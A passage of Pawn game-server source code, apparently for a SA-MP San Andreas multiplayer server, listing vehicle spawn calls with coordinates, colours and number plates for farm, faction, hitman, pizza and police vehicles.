	farmveh15=AddStaticVehicleEx(532, -1027.1071, -1141.1381, 130.2964, 89.9396, -1, -1, 100);
	farmveh16=AddStaticVehicleEx(532, -1027.1772, -1150.4639, 130.2964, 89.9396, -1, -1, 100);
	farmveh17=AddStaticVehicleEx(532, -1027.2444, -1159.3685, 130.2964, 89.9396, -1, -1, 100);
	farmveh18=AddStaticVehicleEx(532, -1027.3092, -1167.9709, 130.2964, 89.9396, -1, -1, 100);
	farmveh19=AddStaticVehicleEx(532, -1067.6309, -1219.0204, 130.1522, 268.1898, -1, -1, 100);
	farmveh20=AddStaticVehicleEx(532, -1067.3989, -1227.5566, 130.1522, 268.1898, -1, -1, 100);
	farmveh21=AddStaticVehicleEx(532, -1066.2123, -1237.0024, 130.1522, 268.1898, -1, -1, 100);
	farmveh22=AddStaticVehicleEx(532, -1068.0912, -1248.8252, 130.1522, 268.1898, -1, -1, 100);
	//=========================================================================
	trcarx1=AddStaticVehicleEx(408, 2101.7573, -1995.9170, 14.2101, 89.8202, 1, 1, 100);
	trcarx2=AddStaticVehicleEx(408, 2047.7432, -1974.6190, 14.0974, 91.0867, 1, 1, 100);
	trcarx3=AddStaticVehicleEx(408, 2038.0350, -1974.8585, 14.0974, 91.0867, 1, 1, 100);
	trcarx4=AddStaticVehicleEx(408, 2027.7756, -1974.8771, 14.0974, 91.0867, 1, 1, 100);
	trcarx5=AddStaticVehicleEx(408, 2057.6240, -1974.3774, 14.0974, 91.0867, 1, 1, 100);
	trcarx6=AddStaticVehicleEx(408, 2065.1409, -1974.6561, 14.0974, 181.0644, 1, 1, 100);
	trcarx7=AddStaticVehicleEx(408, 2075.6853, -1977.4357, 14.0974, 181.0644, 1, 1, 100);
	trcarx8=AddStaticVehicleEx(408, 2093.7947, -1982.8190, 14.2101, 89.8202, 1, 1, 100);
	trcarx9=AddStaticVehicleEx(408, 2085.3376, -1990.4233, 14.2101, 89.8202, 1, 1, 100);
	//========================================[Ghayegh fish]==============================
	AddStaticVehicleEx(453, 2732.0818, -2320.7488, 0.5420, 0.0000, 1, 1, 100);
	AddStaticVehicleEx(453, 2721.6157, -2311.9521, 0.5398, 90.0000, 1, 1, 100);
	AddStaticVehicleEx(453, 2717.8792, -2573.7278, -0.0127, 0.0000, 1, 1, 100);
	AddStaticVehicleEx(453, 2726.8174, -2584.3909, -0.0127, 90.0000, 1, 1, 100);
	AddStaticVehicleEx(453, 719.7889, -1704.9569, 0.1061, 180.0000, 1, 1, 100);
	AddStaticVehicleEx(453, 720.2123, -1639.2371, 0.1061, 180.0000, 1, 1, 100);

//////////////////// SMF vehicles
//////////////////// SMF vehicles
	smfcar8 = AddStaticVehicleEx(522,729.887145,-1431.653076,13.103986,157.716110,12,12,1200);//449
	smfcar9 = AddStaticVehicleEx(426,731.021850,-1439.012084,13.283874,90.0,12,12,1200);
	smfcar10 = AddStaticVehicleEx(426,739.051391,-1439.008666,13.282264,90,12,12,1200);
	smfcar11 = AddStaticVehicleEx(522,729.070678,-1431.391601,13.132771,157.716110,12,12,1200);
	smfcar12 = AddStaticVehicleEx(445,745.413513,-1432.166625,13.402324,90.153869,12,12,1200);
	smfcar13 = AddStaticVehicleEx(521,745.427673,-1443.585937,13.109364,0,12,12,1200);
	smfcar14 = AddStaticVehicleEx(445,721.748413,-1432.136352,13.405967,90.273223,12,12,1200);
	smfcar15 = AddStaticVehicleEx(521,746.418457,-1443.554931,13.107722,0,12,12,1200);
	smfcar16 = AddStaticVehicleEx(487,737.604003,-1442.499755,17.921157,90,12,12,1200);
	smfcar17 = AddStaticVehicleEx(474,712.994750,-1422.323120,13.296184,0.0,12,12,1200);
	smfcar18 = AddStaticVehicleEx(492,704.593933,-1438.882446,13.321002,270.0,12,12,1200);//459
	//////////////// KMF vehicles
	kmfcar8 = AddStaticVehicleEx(487,1449.747314,2848.248535,10.998255,270,0,0,1200);//450
	kmfcar9 = AddStaticVehicleEx(426,1496.028076,2878.428955,10.752243,180,0,0,1200);//
	kmfcar10 = AddStaticVehicleEx(445,1470.065307,2839.275878,10.695317,180,0,0,1200);//
	kmfcar11 = AddStaticVehicleEx(445,1460.634643,2839.079101,10.695297,180,0,0,1200);//
	kmfcar12 = AddStaticVehicleEx(426,1479.721801,2839.217041,10.602103,180,0,0,1200);//
	kmfcar13 = AddStaticVehicleEx(492,1484.473632,2839.287841,10.602145,180,0,0,1200);//
	kmfcar14 = AddStaticVehicleEx(522,1476.052246,2839.231201,10.390975,180,0,0,1200);//
	kmfcar15 = AddStaticVehicleEx(522,1473.961303,2839.258789,10.390660,180,0,0,1200);//
	kmfcar16 = AddStaticVehicleEx(521,1471.462768,2878.699462,10.391337,180,0,0,1200);//
	kmfcar17 = AddStaticVehicleEx(521,1467.011474,2878.828613,10.392230,180,0,0,1200);//
	kmfcar18 = AddStaticVehicleEx(521,1469.118774,2877.254882,10.388194,180,0,0,1200);//
	kmfcar19 = AddStaticVehicleEx(545,1489.416503,2839.281494,10.631419,180,0,0,1200);//
	kmfcar20 = AddStaticVehicleEx(474,1494.283447,2839.475830,10.582977,180,0,0,1200);//472



	// SF

	AddStaticVehicle(487, -1132.8143, -397.2505, 14.2856, 83.7600, -1, -1);
	AddStaticVehicle(487, -1135.2987, -410.9203, 14.2893, 79.2000, -1, -1);
	AddStaticVehicle(487, -1139.1367, -423.6510, 14.2488, 77.0400, -1, -1);
	AddStaticVehicle(512, -1455.2583, -523.9425, 14.5936, 207.7200, -1, -1);
	AddStaticVehicle(512, -1430.2864, -510.9466, 14.6632, -154.6200, -1, -1);
	AddStaticVehicle(405, -1412.8057, -305.8697, 13.9114, 40.8000, -1, -1);
	AddStaticVehicle(439, -1407.2080, -312.7343, 13.7851, 36.9600, -1, -1);
	AddStaticVehicle(458, -1383.9766, -245.3145, 5.7435, 1.5000, -1, -1);
	AddStaticVehicle(467, -1380.2809, -246.0585, 5.3313, 0.0000, -1, -1);
	AddStaticVehicle(603, -1386.4933, -203.7219, 5.4987, 270.8998, -1, -1);
	AddStaticVehicle(502, -1475.0057, -112.6676, 5.4312, -85.8000, -1, -1);
	AddStaticVehicle(600, -1426.1327, -71.6837, 5.2249, 89.7600, -1, -1);
	AddStaticVehicle(589, -1338.4218, -137.2858, 5.3095, 89.4600, -1, -1);
	AddStaticVehicle(400, -1448.2717, -39.8750, 5.5445, 0.0000, -1, -1);
	AddStaticVehicle(555, -1240.9005, 20.3580, 13.6805, -41.8200, -1, -1);
	AddStaticVehicle(487, -1221.3368, -9.2664, 13.7257, 45.7800, -1, -1);
	AddStaticVehicle(487, -1185.7594, 26.1937, 13.1310, 43.2600, -1, -1);
	AddStaticVehicle(554, -1748.8804, -93.5025, 3.6992, 1.0800, -1, -1);
	AddStaticVehicle(551, -1851.9575, -168.8585, 8.9267, -88.7400, -1, -1);
	AddStaticVehicle(549, -1860.5972, -209.6509, 17.8649, -85.5000, -1, -1);
	AddStaticVehicle(542, -1849.7070, 169.4410, 14.7798, -87.9000, -1, -1);
	AddStaticVehicle(520, -1392.5630, 508.1759, 17.4415, -89.6400, -1, -1);
	AddStaticVehicle(425, -1309.6018, 493.6800, 17.5053, -92.2200, -1, -1);
	AddStaticVehicle(400, -1503.2692, 697.6713, 6.5457, 55.9200, -1, -1);
	AddStaticVehicle(400, -1492.4523, 704.2457, 6.8719, 62.1600, -1, -1);
	AddStaticVehicle(400, -1497.9773, 700.4063, 6.8719, 57.9000, -1, -1);
	AddStaticVehicle(536, -1496.3762, 844.5641, 6.1428, 88.4400, -1, -1);
	AddStaticVehicle(400, -1653.9974, 1209.0808, 20.8748, -98.8200, -1, -1);
	AddStaticVehicle(533, -1644.8057, 1304.5026, 6.4241, 132.6000, -1, -1);
	AddStaticVehicle(526, -1630.8656, 1290.0232, 6.0223, 134.5199, -1, -1);
	AddStaticVehicle(522, -1648.4492, 1307.9286, 6.5856, 135.9000, -1, -1);
	AddStaticVehicle(505, -1693.7144, 1340.4078, 7.4619, 132.7800, -1, -1);
	AddStaticVehicle(446, -1507.5741, 1301.2202, -0.0234, 92.1600, -1, -1);
	AddStaticVehicle(452, -1565.5912, 1262.4220, -0.0406, 91.5000, -1, -1);
	AddStaticVehicle(452, -1896.8763, 1400.5233, 0.4833, -90.3600, -1, -1);
	AddStaticVehicle(445, -2644.1536, 1333.0717, 6.0070, 272.6400, -1, -1);
	AddStaticVehicle(466, -2643.5056, 1341.2031, 6.2551, 275.5801, -1, -1);
	AddStaticVehicle(439, -2643.0769, 1347.4689, 6.4784, -84.4800, -1, -1);
	AddStaticVehicle(453, -2952.7620, 498.9873, -0.0262, 0.0000, -1, -1);
	AddStaticVehicle(453, -2982.2100, 498.1478, 0.4716, 0.0000, -1, -1);
	AddStaticVehicle(445, -2766.8982, 762.8287, 52.4344, 90.0000, -1, -1);
	AddStaticVehicle(453, -2411.7539, 2313.3691, -0.0234, -175.2000, -1, -1);
	AddStaticVehicle(487, -2228.9548, 2326.6348, 6.4988, 0.0000, -1, -1);
	AddStaticVehicle(576, -2253.2346, 2285.0225, 3.9333, 88.6200, -1, -1);
	AddStaticVehicle(480, -2253.1086, 2302.8127, 4.7145, 85.3800, -1, -1);
	AddStaticVehicle(412, -2271.2681, 2288.4170, 4.5213, -90.2400, -1, -1);
	AddStaticVehicle(442, -2253.1128, 2320.8643, 4.5249, 91.0200, -1, -1);
	AddStaticVehicle(452, -2253.6055, 2429.3669, -0.0449, -135.7200, -1, -1);
	AddStaticVehicle(454, -2233.7539, 2450.8462, 1.0733, -137.2800, -1, -1);
	AddStaticVehicle(400, -2544.7471, 2368.4797, 3.9506, -89.9400, -1, -1);
	AddStaticVehicle(468, -2628.7268, 2249.3010, 7.1962, 0.0000, -1, -1);
	AddStaticVehicle(468, -2626.8274, 2249.4844, 7.5424, 0.0000, -1, -1);
	AddStaticVehicle(468, -2624.9155, 2249.9082, 7.8392, 0.0000, -1, -1);
	AddStaticVehicle(475, -2611.9778, 2250.1814, 8.1803, 0.0000, -1, -1);
	AddStaticVehicle(436, -2436.8867, 2454.5015, 12.7515, -179.8800, -1, -1);
	AddStaticVehicle(429, -2526.1685, 1229.3064, 36.7061, -148.2600, -1, -1);
	AddStaticVehicle(421, -2534.4526, 1228.8790, 36.9304, -149.1000, -1, -1);
	AddStaticVehicle(401, -2362.2908, 1246.2241, 29.7465, 0.9600, -1, -1);
	AddStaticVehicle(400, -2794.7954, 1316.8884, 6.8668, -171.2399, -1, -1);
	AddStaticVehicle(404, -2891.4417, 504.8852, 3.7894, -183.2999, -1, -1);
	AddStaticVehicle(480, -1751.3976, 956.2107, 24.2044, -87.6000, -1, -1);
	AddStaticVehicle(421, -1736.0599, 1028.2081, 16.8031, -92.4600, -1, -1);
	AddStaticVehicle(522, -2158.7075, -406.7446, 34.3194, 48.3600, -1, -1);
	AddStaticVehicle(603, -2193.0911, -418.9841, 34.9804, -53.7600, -1, -1);
	AddStaticVehicle(602, -2187.6665, -424.5479, 35.2553, -55.5000, -1, -1);
	AddStaticVehicle(602, -2505.6521, -602.5627, 131.8659, -179.2200, -1, -1);
	AddStaticVehicle(580, -2498.0254, -602.8311, 132.0044, -180.1200, -1, -1);
	AddStaticVehicle(560, -2758.7852, -167.9759, 6.4024, -1.0200, -1, -1);
	AddStaticVehicle(561, -2756.1282, -50.4117, 6.2925, 0.0000, -1, -1);
	AddStaticVehicle(580, -2654.3223, -138.0905, 3.6045, 0.0000, -1, -1);
	AddStaticVehicle(560, -2656.6570, -55.3163, 3.3064, 0.0000, -1, -1);
	AddStaticVehicle(500, -2637.3528, -54.9181, 5.0993, 0.0000, -1, -1);
	AddStaticVehicle(410, -2624.5752, -34.6980, 3.7990, -180.6000, -1, -1);
	//AddStaticVehicle(510, -2669.3811, 88.7741, 3.0839, -92.2200, -1, -1);
	AddStaticVehicle(412, -2651.3977, 111.4636, 3.8408, 0.0000, -1, -1);
	AddStaticVehicle(603, -2664.8589, 267.9479, 3.3052, 0.0000, -1, -1);
	AddStaticVehicle(602, -2674.9087, 267.9467, 3.9148, 0.0000, -1, -1);
	AddStaticVehicle(409, -2754.5515, 374.7494, 3.3251, 0.0000, 1, 1);
	AddStaticVehicle(415, -2483.8213, 5.9628, 24.5857, 89.1000, -1, -1);
	AddStaticVehicle(419, -2484.5745, -164.0043, 24.6054, 90.8400, -1, -1);
	AddStaticVehicle(529, -2687.5662, 586.6699, 13.8808, 0.0000, -1, -1);
	AddStaticVehicle(416, -2649.2349, 625.9334, 14.2127, -183.7200, -1, -1);
	AddStaticVehicle(416, -2653.1826, 626.3715, 13.4354, -181.0200, -1, -1);
	AddStaticVehicle(415, -2455.8826, 740.4550, 33.9963, -181.0800, -1, -1);
	AddStaticVehicle(421, -2442.8884, 740.9235, 33.9931, -179.4000, -1, -1);
	AddStaticVehicle(426, -2592.3071, 660.5733, 26.9646, -94.7400, -1, -1);
	AddStaticVehicle(429, -2563.3484, 627.7506, 27.7271, 0.0000, -1, -1);
	AddStaticVehicle(436, -2544.2607, 598.8878, 13.3797, 91.0200, -1, -1);
	AddStaticVehicle(439, -2335.4995, 991.0202, 49.6466, 87.6000, -1, -1);
	AddStaticVehicle(458, -2435.1978, 991.7847, 44.2627, -91.2600, -1, -1);
	AddStaticVehicle(466, -2240.9636, 549.8914, 34.0830, 86.5200, -1, -1);
	AddStaticVehicle(475, -2425.9011, 518.3177, 28.9018, -142.2000, -1, -1);
	AddStaticVehicle(474, -2418.8145, 524.8636, 29.5533, -127.7400, -1, -1);
	AddStaticVehicle(475, -2031.5828, 144.0403, 28.3771, 0.0000, -1, -1);
	AddStaticVehicle(466, -2035.2858, 170.3851, 27.8253, -90.1800, -1, -1);
	AddStaticVehicle(480, -1911.4801, 282.7889, 40.3114, -178.9200, -1, -1);
	AddStaticVehicle(506, -1989.2448, 275.1159, 34.1127, -91.1400, -1, -1);
	AddStaticVehicle(518, -2184.0317, 293.5064, 34.0763, 0.0000, -1, -1);
	AddStaticVehicle(516, -2214.1360, 306.0663, 34.4363, -181.8601, -1, -1);
	AddStaticVehicle(496, -1996.8839, 494.3163, 34.1268, 0.0000, -1, -1);
	AddStaticVehicle(500, -2110.5972, 573.3754, 33.9730, 92.7600, -1, -1);
	AddStaticVehicle(492, -1840.8538, 543.1236, 34.1075, 54.8400, -1, -1);
	AddStaticVehicle(505, -2134.6538, 766.1055, 68.5012, 0.0000, -1, -1);
	AddStaticVehicle(533, -1977.8290, 910.9547, 44.2519, -95.5200, -1, -1);
	AddStaticVehicle(535, -2069.9619, 967.3730, 59.8224, -157.5000, -1, -1);
	AddStaticVehicle(540, -1961.7913, 1100.1359, 54.6861, 0.0000, -1, -1);
	AddStaticVehicle(400, -1786.7021, 1085.9623, 44.4230, 0.0000, -1, -1);
	AddStaticVehicle(400, -1706.6578, 1057.3035, 44.0442, 0.0000, -1, -1);
	AddStaticVehicle(545, -1754.4758, 833.0639, 23.8016, -92.5800, -1, -1);
	AddStaticVehicle(545, -1950.4939, 724.1393, 44.2453, -89.8200, -1, -1);
	AddStaticVehicle(400, -2134.7820, 673.5593, 61.3081, 0.0000, -1, -1);
	AddStaticVehicle(542, -2274.1345, 893.3752, 65.4337, -179.5800, -1, -1);
	AddStaticVehicle(400, -2265.6619, 192.7082, 34.0981, -270.4200, -1, -1);
	AddStaticVehicle(540, -2266.0125, 204.4139, 34.1541, 90.7200, -1, -1);
	AddStaticVehicle(540, -2266.5645, 105.4615, 34.1071, 87.8400, -1, -1);

	//VehKeBayadLockShe1=CreateVehicle(564, 1551.7960, -1672.4255, 15.8456, -270.5399, -1, -1, 100);
	//VehKeBayadLockShe2=CreateVehicle(564, 1551.4337, -1678.7648, 15.8456, -271.0199, -1, -1, 100);
	//CreateVehicle(564, 864.120239, -10002.320312, -68.953956, -270.5399, -1, -1, 100);
	//CreateVehicle(564, 864.120239, -10002.320312, -68.953956, -271.0199, -1, -1, 100);
    //ForEachPlayer(j){SetVehicleParamsForPlayer(VehKeBayadLockShe1,j,0,0);SetVehicleParamsForPlayer(VehKeBayadLockShe2,j,0,0);}


	lmcar1 = AddStaticVehicle(521,1238.807861,-2043.413085,59.435672,178.637557,6,6);//Vehid:612 Title:LMFCR
	lmcar2 =AddStaticVehicle(521,1241.493652,-2043.485717,59.592933,176.070022,6,6);//Vehid:611 Title:LMFCR
	lmcar3 =AddStaticVehicle(522,1245.704589,-2009.153564,59.405715,181.110488,6,6);//Vehid:613 Title:NRGLM
	lmcar3 =AddStaticVehicle(522,1247.347534,-2009.068481,59.352664,182.583892,6,6);//Vehid:614 Title:NRGLM
	lmcar4 =AddStaticVehicle(522,1249.175903,-2009.102539,59.295555,179.339370,6,6);//Vehid:615 Title:NRGLM
	lmcar5 =AddStaticVehicle(492,1275.503295,-2039.651611,58.823818,90.497474,6,6);//Vehid:616 Title:GreenWoodLM
	lmcar6 =AddStaticVehicle(545,1275.479858,-2033.893798,58.829216,90.147064,6,6);//Vehid:617 Title:HustlerLM
	lmcar7 =AddStaticVehicle(474,1275.779174,-2029.052978,58.756557,89.375198,6,6);//Vehid:618 Title:HermesLM
	lmcar8 =AddStaticVehicle(445,1276.213378,-2024.095336,58.848094,87.909889,6,6);//Vehid:619 Title:admirallm
	lmcar9 =AddStaticVehicle(445,1276.334472,-2019.849487,58.837142,87.227554,6,6);//Vehid:620 Title:admirallm
	lmcar10 =AddStaticVehicle(426,1264.824340,-2011.102050,59.025222,180.256774,6,6);//Vehid:621 Title:Premier
	lmcar11 =AddStaticVehicle(426,1258.393432,-2010.851562,59.209262,180.143325,6,6);//Vehid:622 Title:Premier
	lmcar12 =AddStaticVehicle(487,1158.326904,-2036.592407,69.186782,265.194702,6,6);//Vehid:623 Title:MavLM
	stormc1 = AddStaticVehicle(487,2799.428710,-1104.792236,94.381980,92.339675,155,155);//Vehid:611 Title:mavstm
	stormc2 = AddStaticVehicle(521,2797.924804,-1096.477172,30.288387,268.934448,155,155);//Vehid:612 Title:NRGSTM
	stormc3 = AddStaticVehicle(521,2797.940429,-1095.579833,30.296564,268.934204,155,155);//Vehid:613 Title:NRGSTM
	stormc4 = AddStaticVehicle(522,2797.687500,-1078.017578,30.289684,270.779663,155,155);//Vehid:614 Title:NRGSTM
	stormc5 = AddStaticVehicle(522,2797.701660,-1078.915039,30.282756,270.779754,155,155);//Vehid:615 Title:NRGSTM
	stormc6 = AddStaticVehicle(522,2797.715820,-1079.812377,30.288722,270.779785,155,155);//Vehid:616 Title:NRGSTM
	stormc7 = AddStaticVehicle(492,2822.632812,-1081.995483,30.500623,180.090667,155,155);//Vehid:617 Title:greenstm
	stormc8 = AddStaticVehicle(474,2802.236083,-1064.879882,30.413814,176.694366,155,155);//Vehid:618 Title:hermSTM
	stormc9 = AddStaticVehicle(545,2812.624267,-1079.062377,30.539249,269.140258,155,155);//Vehid:619 Title:HustSTM
	stormc10 = AddStaticVehicle(426,2806.818603,-1093.857177,30.479253,180.222061,155,155);//Vehid:620 Title:premSTM
	stormc11 = AddStaticVehicle(426,2806.649902,-1086.309204,30.478000,180.468978,155,155);//Vehid:621 Title:premSTM
	stormc12 = AddStaticVehicle(445,2812.343994,-1075.862060,30.453344,266.735809,155,155);//Vehid:622 Title:AdmiralSTM
	stormc13 = AddStaticVehicle(445,2814.640869,-1097.121948,30.599527,179.606323,155,155);//Vehid:623 Title:AdmiralSTM
	TBFc1 = AddStaticVehicle(521,1463.732055,787.798706,10.392331,177.639144,179,179);//Vehid:624 Title:fcrTBF
	TBFc2 = AddStaticVehicle(521,1465.753417,787.903381,10.391798,182.814422,179,179);//Vehid:625 Title:fcrTBF
	TBFc3 = AddStaticVehicle(445,1412.707763,762.347595,10.695291,268.795471,179,179);//Vehid:626 Title:admTBF
	TBFc4 = AddStaticVehicle(445,1412.714477,765.597778,10.695317,269.626647,179,179);//Vehid:627 Title:admTBF
	TBFc5 = AddStaticVehicle(426,1413.034423,787.960876,10.562915,270.338531,179,179);//Vehid:628 Title:premTBF
	TBFc6 = AddStaticVehicle(426,1413.050048,784.703735,10.563760,270.023376,179,179);//Vehid:629 Title:premTBF
	TBFc7 = AddStaticVehicle(474,1413.047607,717.857238,10.582903,269.560302,179,179);//Vehid:630 Title:hermTBF
	TBFc8 = AddStaticVehicle(545,1412.859252,711.464599,10.631421,269.966918,179,179);//Vehid:631 Title:hustTBF
	TBFc9 = AddStaticVehicle(492,1413.323852,704.980651,10.602080,269.520385,179,179);//Vehid:632 Title:GreenTBF
	TBFc10 = AddStaticVehicle(487,1485.258056,773.829162,10.997942,88.999000,179,179);//Vehid:633 Title:mavTBF
	TBFc11 = AddStaticVehicle(522,1412.715332,770.936157,10.385717,270.022552,179,179);//Vehid:634 Title:nrgTBF
	TBFc12 = AddStaticVehicle(522,1412.716552,771.833435,10.387135,270.022552,179,179);//Vehid:635 Title:nrgTBF
	TBFc13 = AddStaticVehicle(522,1412.668701,772.730712,10.391721,270.022583,179,179);//Vehid:636 Title:nrgTBF
	dtc1 = AddStaticVehicle(487,2598.300048,2395.096679,17.994068,298.641418,128,128);//Vehid:637 Title:mavdt
	dtc2 = AddStaticVehicle(521,2612.194091,2280.865722,10.382313,88.115165,128,128);//Vehid:638 Title:fcrdt
	dtc3 = AddStaticVehicle(521,2612.166992,2279.968505,10.409512,88.115226,128,128);//Vehid:639 Title:fcrdt
	dtc4 = AddStaticVehicle(521,2612.138671,2279.071289,10.401531,88.114929,128,128);//Vehid:640 Title:fcrdt
	dtc5 = AddStaticVehicle(426,2610.822753,2275.413818,10.563615,89.687377,128,128);//Vehid:641 Title:premdt
	dtc6 = AddStaticVehicle(426,2610.478759,2270.980957,10.563194,90.213455,128,128);//Vehid:642 Title:premdt
	dtc7 = AddStaticVehicle(545,2592.752441,2271.574707,10.631417,269.781250,128,128);//Vehid:643 Title:hustdt
	dtc8 = AddStaticVehicle(474,2593.649169,2263.912109,10.583108,269.702301,128,128);//Vehid:644 Title:hermdt
	dtc9 = AddStaticVehicle(445,2610.616943,2249.995361,10.688261,89.012260,128,128);//Vehid:645 Title:admdt
	dtc10 = AddStaticVehicle(522,2611.300537,2257.485839,10.383152,87.584945,128,128);//Vehid:646 Title:nrgdt
	dtc11 = AddStaticVehicle(522,2611.247802,2256.590087,10.407494,87.585334,128,128);//Vehid:647 Title:nrgdt
	dtc12 = AddStaticVehicle(522,2611.202148,2255.694335,10.382013,87.585891,128,128);//Vehid:648 Title:nrgdt
	dtc13 = AddStaticVehicle(445,2594.197998,2250.650390,10.695307,1.126917,128,128);//Vehid:649 Title:admdt
	dtc14 = AddStaticVehicle(492,2582.007568,2271.482666,10.602090,88.803855,128,128);//Vehid:650 Title:grwdt
	tkc = AddStaticVehicle(413,1529.519042,2827.245849,10.907035,89.749595,0,0);//Vehid:652 Title:ponykmf
	smcar = AddStaticVehicle(522,728.447937,-1431.241699,13.150270,159.412857,12,12);//Vehid:653 Title:nrgsm

	SetVehicleNumberPlate(hitcarx1 = AddStaticVehicleEx(521, 1058.4840, -288.6451, 73.4780, 180.0000, 0, 0, 1000),"HIT 654");//643
	SetVehicleNumberPlate(hitcarx2 = AddStaticVehicleEx(521, 1057.6240, -288.6451, 73.4780, 180.0000, 0, 0, 1000),"HIT 214");
	SetVehicleNumberPlate(hitcarx3 = AddStaticVehicleEx(521, 1059.3240, -288.6451, 73.4780, 180.0000, 0, 0, 1000),"HIT 567");
	SetVehicleNumberPlate(hitcarx4 = AddStaticVehicleEx(522, 1060.1644, -288.6451, 73.4780, 180.0000, 0, 0, 1000),"HIT 244");
	SetVehicleNumberPlate(hitcarx5 = AddStaticVehicleEx(522, 1056.8044, -288.6451, 73.4780, 180.0000, 0, 0, 1000),"HIT 968");
	SetVehicleNumberPlate(hitcarx6 = AddStaticVehicleEx(522, 1058.4840, -291.0451, 73.4780, 180.0000, 0, 0, 1000),"HIT 354");
	SetVehicleNumberPlate(hitcarx7 = AddStaticVehicleEx(487, 1088.9355, -338.6948, 74.0705, 90.0000, 0, 0, 1000),"HIT 786");
	SetVehicleNumberPlate(hitcarx8 = AddStaticVehicleEx(560, 1049.1427, -298.1856, 73.5605, 180.0000, 0, 0, 1000),"HIT 865");
	SetVehicleNumberPlate(hitcarx9 = AddStaticVehicleEx(560, 1045.7627, -298.1856, 73.5605, 180.0000, 0, 0, 1000),"HIT 145");
	SetVehicleNumberPlate(hitcarx10 = AddStaticVehicleEx(560, 1042.6227, -298.1856, 73.5605, 180.0000, 0, 0, 1000),"HIT 435");
	SetVehicleNumberPlate(hitcarx11 = AddStaticVehicleEx(579, 1019.1374, -301.4247, 73.8912, 180.0000, 0, 0, 1000),"HIT 756");
	SetVehicleNumberPlate(hitcarx12 = AddStaticVehicleEx(579, 1014.9774, -301.4247, 73.8912, 180.0000, 0, 0, 1000),"HIT 464");
	SetVehicleNumberPlate(hitcarx13 = AddStaticVehicleEx(579, 1023.2574, -301.4247, 73.8912, 180.0000, 0, 0, 1000),"HIT 172");
	SetVehicleNumberPlate(hitcarx14 = AddStaticVehicleEx(469, 1020.5518, -328.1164, 73.8909, -90.0000, 0, 0, 1000),"HIT 157");
	SetVehicleNumberPlate(hitcarx15 = AddStaticVehicleEx(469, 1020.5518, -339.4964, 73.8909, -90.0000, 0, 0, 1000),"HIT 354");
	SetVehicleNumberPlate(hitcarx16 = AddStaticVehicleEx(602, 1081.8064, -339.6473, 73.7429, 0.0000, 0, 0, 1000),"HIT 757");
	SetVehicleNumberPlate(hitcarx17 = AddStaticVehicleEx(602, 1077.5264, -339.6473, 73.7429, 0.0000, 0, 0, 1000),"HIT 423");
	SetVehicleNumberPlate(hitcarx18 = AddStaticVehicleEx(477, 1066.8530, -340.9846, 73.6908, 0.0000, 0, 0, 1000),"HIT 768");
	SetVehicleNumberPlate(hitcarx19 = AddStaticVehicleEx(477, 1062.7130, -340.9846, 73.6908, 0.0000, 0, 0, 1000),"HIT 432");
	SetVehicleNumberPlate(hitcarx20 = AddStaticVehicleEx(477, 1058.7130, -340.9846, 73.6908, 0.0000, 0, 0, 1000),"HIT 445");// 662
	medcaraf = AddStaticVehicleEx(599,1592.4518,1818.5952,11.0179,0,3,1,900);// 663
SetVehicleNumberPlate(medcaraf, "MED 054");
	//AddStaticVehicle(522,750.724121,-1276.191650,13.120299,3.109779,-1,-1);//Vehid:667 Title:NRG
	//AddStaticVehicle(492,747.326477,-1275.577880,13.357252,359.784667,-1,-1);//Vehid:668 Title:NRG
	//AddStaticVehicle(419,743.037658,-1275.034179,13.380424,358.025787,-1,-1);//Vehid:669 Title:NRG
	//AddStaticVehicle(522,739.279846,-1275.503295,13.122124,358.256988,-1,-1);//Vehid:670 Title:NRG


	pizza1 = AddStaticVehicle(448,2095.813232,-1820.793945,12.976052,91.178756,6,6);//Vehid:682 Title:Pizza
	pizza2 = AddStaticVehicle(448,2095.696533,-1812.975830,12.975343,87.165000,6,6);//Vehid:677 Title:Pizza
	pizza3 = AddStaticVehicle(448,2095.720458,-1814.473999,12.972341,88.924537,6,6);//Vehid:678 Title:Pizza
	pizza4 = AddStaticVehicle(448,2095.736328,-1816.108276,12.970276,88.462387,6,6);//Vehid:679 Title:Pizza
	pizza5 = AddStaticVehicle(448,2095.742675,-1817.733642,12.968342,92.421401,6,6);//Vehid:680 Title:Pizza
	pizza6 = AddStaticVehicle(448,2095.842041,-1819.300537,12.965023,91.099372,6,6);//Vehid:681 Title:Pizza

	carcopx1=AddStaticVehicle(522,203.448425,1859.418945,12.727190,269.860351,0,1);//Vehid:698 Title:NRG
	carcopx2=AddStaticVehicle(522,203.455947,1861.246093,12.714756,273.675842,0,1);//Vehid:699 Title:NRG
	carcopx3=AddStaticVehicle(522,203.325592,1862.678710,12.715810,272.822937,0,1);//Vehid:700 Title:NRG
	carcopx4=AddStaticVehicle(522,1545.234497,-1676.337768,5.451414,88.504043,0,1);//Vehid:701 Title:NRG
	carcopx5=AddStaticVehicle(522,1545.367919,-1680.464599,5.447745,90.360107,0,1);//Vehid:702 Title:NRG
	carcopx6=AddStaticVehicle(522,1545.513183,-1684.471557,5.451231,88.359191,0,1);//Vehid:703 Title:NRG
	carcopx7=AddStaticVehicle(522,1558.038696,-1695.032592,5.465746,179.412399,0,1);//Vehid:704 Title:NRG
	carcopx8=AddStaticVehicle(411,1530.474487,-1644.795532,5.617706,180.090667,1,1);//Vehid:705 Title:inf // (681)
	carcopx9=AddStaticVehicle(411,1534.617187,-1645.086425,5.617711,179.583618,1,1);//Vehid:706 Title:inf // (682)

	carcopx10=AddStaticVehicle(427,1600.888916,-1700.031250,6.022475,90.522636,0,1);//Vehid:692 Title:Enfor
	carcopx11=AddStaticVehicle(427,1600.445434,-1683.906738,6.022336,89.973480,0,1);//Vehid:686 Title:Enfo
	carcopx12=AddStaticVehicle(601,1545.506347,-1672.155151,5.649279,90.773033,0,0);//Vehid:693 Title:Swat
	carcopx14=AddStaticVehicle(601,1570.358154,-1711.460815,5.649396,358.614501,0,0); //Police Swat 39
	//AddStaticVehicle(451,1601.537353,-1696.107910,5.597604,89.898132,125,125);//Vehid:697 Title:turis
	//AddStaticVehicle(451,1587.466308,-1710.774291,5.597233,0.588520,125,125);//Vehid:685 Title:turis
	carcopx15=AddStaticVehicle(430,511.790283,-1917.440795,-0.197738,174.254104,125,125);//Vehid:687 Title:biat
	carcopx16=AddStaticVehicle(430,521.177856,-1919.033203,-0.251399,173.313171,125,125);//Vehid:688 Title:biat
	carcopx17=AddStaticVehicle(472,528.000366,-1922.104858,0.066311,169.626632,125,125);//Vehid:698 Title:biat
	carcopx18=AddStaticVehicle(472,2290.112548,515.321166,0.067566,177.734420,125,125);//Vehid:702 Title:boat
	carcopx19=AddStaticVehicle(430,2294.678710,516.109802,-0.316406,176.158081,125,125);//Vehid:707 Title:boat

